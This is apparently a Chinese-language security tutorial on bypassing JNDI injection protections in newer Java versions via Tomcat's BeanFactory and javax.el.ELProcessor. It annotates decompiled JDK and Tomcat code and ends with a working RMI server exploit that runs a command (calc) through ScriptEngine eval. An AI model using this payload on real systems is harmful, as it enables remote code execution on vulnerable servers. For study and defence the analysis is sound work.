JNDI注入高版本绕过
方法一:本地恶意工厂类绕过
org.apache.naming.factory.BeanFactory+javax.el.ELProcessor
tomcat新版本的org.apache.naming.factory.BeanFactory已删除利用特性:factory
rivate Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
//从上面的代码可以看到,var8是传入的Reference对象,var8得满足三个条件才能进入下一步:var8不等于空,var8的工厂类地址不能为false,trustURLCodebase不为false
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
本地恶意工厂类就是绕过了var8的工厂类地址不能为false,让其变为false,从而进入下一步。
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
//Reference对象不为空,则先获取工厂类的名称
if (ref != null) {
String f = ref.getFactoryClassName();
//工厂类名称不为空,再进入下一步
if (f != null) {
// if reference identifies a factory, use exclusively
//getObjectFactoryFromReference函数决定了是从本地获取工厂类还是从远程URL获取工厂类
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
//执行getObjectInstance方法
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
//如果Reference对象为空,则通过网络去请求
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
//加载本地class
try {
*****elper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
//本地class没找到,再远程加载class
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
*****elper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
到此就知道了为什么可以指定恶意工厂类进行高版本绕过了,但恶意工厂类需要两个条件:
- 必须实现javax.naming.spi.ObjectFactory接口
- 实现该接口的getObjectInstance()方法
tomcat的org.apache.naming.factory.BeanFactory刚好符合条件。
public class BeanFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
//获取目标类
Reference ref = (Reference)obj;
//获取目标类对象的类名
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
//获取类加载器
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
//加载目标类
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
//获取该类的所有属性,如setter信息、getter信息
BeanInfo bi = Introspector.getBeanInfo(beanClass);
//获取该类的每一个属性
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
//实例化对象,触发无参构造函数
Object bean = beanClass.getConstructor().newInstance();
//从目标类中获取forceString参数
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
if (ra != null) {
//获取目标类的forceString键值对的值
String value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
//遍历forceString键值对的所有值
for(String param : value.split(",")) {
param = param.trim();
int index = param.indexOf(61);
String setterName;
//找forceString键值对中有等号的值
if (index >= 0) {
//获取等号右边的值
setterName = param.substring(index + 1).trim();
//获取等号左边的值
param = param.substring(0, index).trim();
} else {
setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
try {
//保存到Map中
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + setterName + " not found for property " + param);
}
}
}
//获取目标类的所有键值对
Enumeration<RefAddr> e = ref.getAll();
//开始遍历
while(e.hasMoreElements()) {
ra = (RefAddr)e.nextElement();
//获取键值对的键
String propName = ra.getType();
//键中没有factory、scope、auth、forceString、singleton,进入if语句
if (!propName.equals("factory") && !propName.equals("scope") && !propName.equals("auth") && !propName.equals("forceString") && !propName.equals("singleton")) {
//获得键值对的值
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
//获得上面存到Map中的键值对的值并转型为Meothod类型,需要目标类有eval(String)方法才能进行rce
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
//最终调用点,等于bean.method(valueArray)
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
} else {
int i = 0;
for(i = 0; i < pda.length; ++i) {
if (pda[i].getName().equals(propName)) {
Class<?> propType = pda[i].getPropertyType();
if (propType.equals(String.class)) {
valueArray[0] = value;
} else if (!propType.equals(Character.class) && !propType.equals(Character.TYPE)) {
if (!propType.equals(Byte.class) && !propType.equals(Byte.TYPE)) {
if (!propType.equals(Short.class) && !propType.equals(Short.TYPE)) {
if (!propType.equals(Integer.class) && !propType.equals(Integer.TYPE)) {
if (!propType.equals(Long.class) && !propType.equals(Long.TYPE)) {
if (!propType.equals(Float.class) && !propType.equals(Float.TYPE)) {
if (!propType.equals(Double.class) && !propType.equals(Double.TYPE)) {
if (!propType.equals(Boolean.class) && !propType.equals(Boolean.TYPE)) {
throw new NamingException("String conversion for property " + propName + " of type '" + propType.getName() + "' not available");
}
valueArray[0] = Boolean.valueOf(value);
} else {
valueArray[0] = Double.valueOf(value);
}
} else {
valueArray[0] = Float.valueOf(value);
}
} else {
valueArray[0] = Long.valueOf(value);
}
} else {
valueArray[0] = Integer.valueOf(value);
}
} else {
valueArray[0] = Short.valueOf(value);
}
} else {
valueArray[0] = Byte.valueOf(value);
}
} else {
valueArray[0] = value.charAt(0);
}
Method setProp = pda[i].getWriteMethod();
if (setProp == null) {
throw new NamingException("Write not allowed for property: " + propName);
}
setProp.invoke(bean, valueArray);
break;
}
}
if (i == pda.length) {
throw new NamingException("No set method found for property: " + propName);
}
}
}
}
return bean;
}
} catch (IntrospectionException ie) {
NamingException ne = new NamingException(ie.getMessage());
ne.setRootCause(ie);
throw ne;
} catch (ReflectiveOperationException e) {
Throwable cause = e.getCause();
if (cause instanceof ThreadDeath) {
throw (ThreadDeath)cause;
} else if (cause instanceof VirtualMachineError) {
throw (VirtualMachineError)cause;
} else {
NamingException ne = new NamingException(e.getMessage());
ne.setRootCause(e);
throw ne;
}
}
} else {
return null;
}
}
}
由上可知,目标类也需要两个条件:
- 无参构造函数
- eval(String)方法
javax.el.ELProcessor刚好符合
pyload:
package org.example.JDNIServer;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
//由于org.apache.naming.factory.BeanFactory需要,所以Reference被换成Reference的子类ResourceRef,支持额外添加属性
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "bitterz=eval"));
ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("demo", referenceWrapper);
System.out.println("Server Started!");
}
}
org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory+org.apache.commons.configuration2.SystemConfiguration
只能修改系统配置文件,也就是可以设置System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"),但是这样设置了也没用,略显鸡肋,当作拓展知识了

浙公网安备 33010602011771号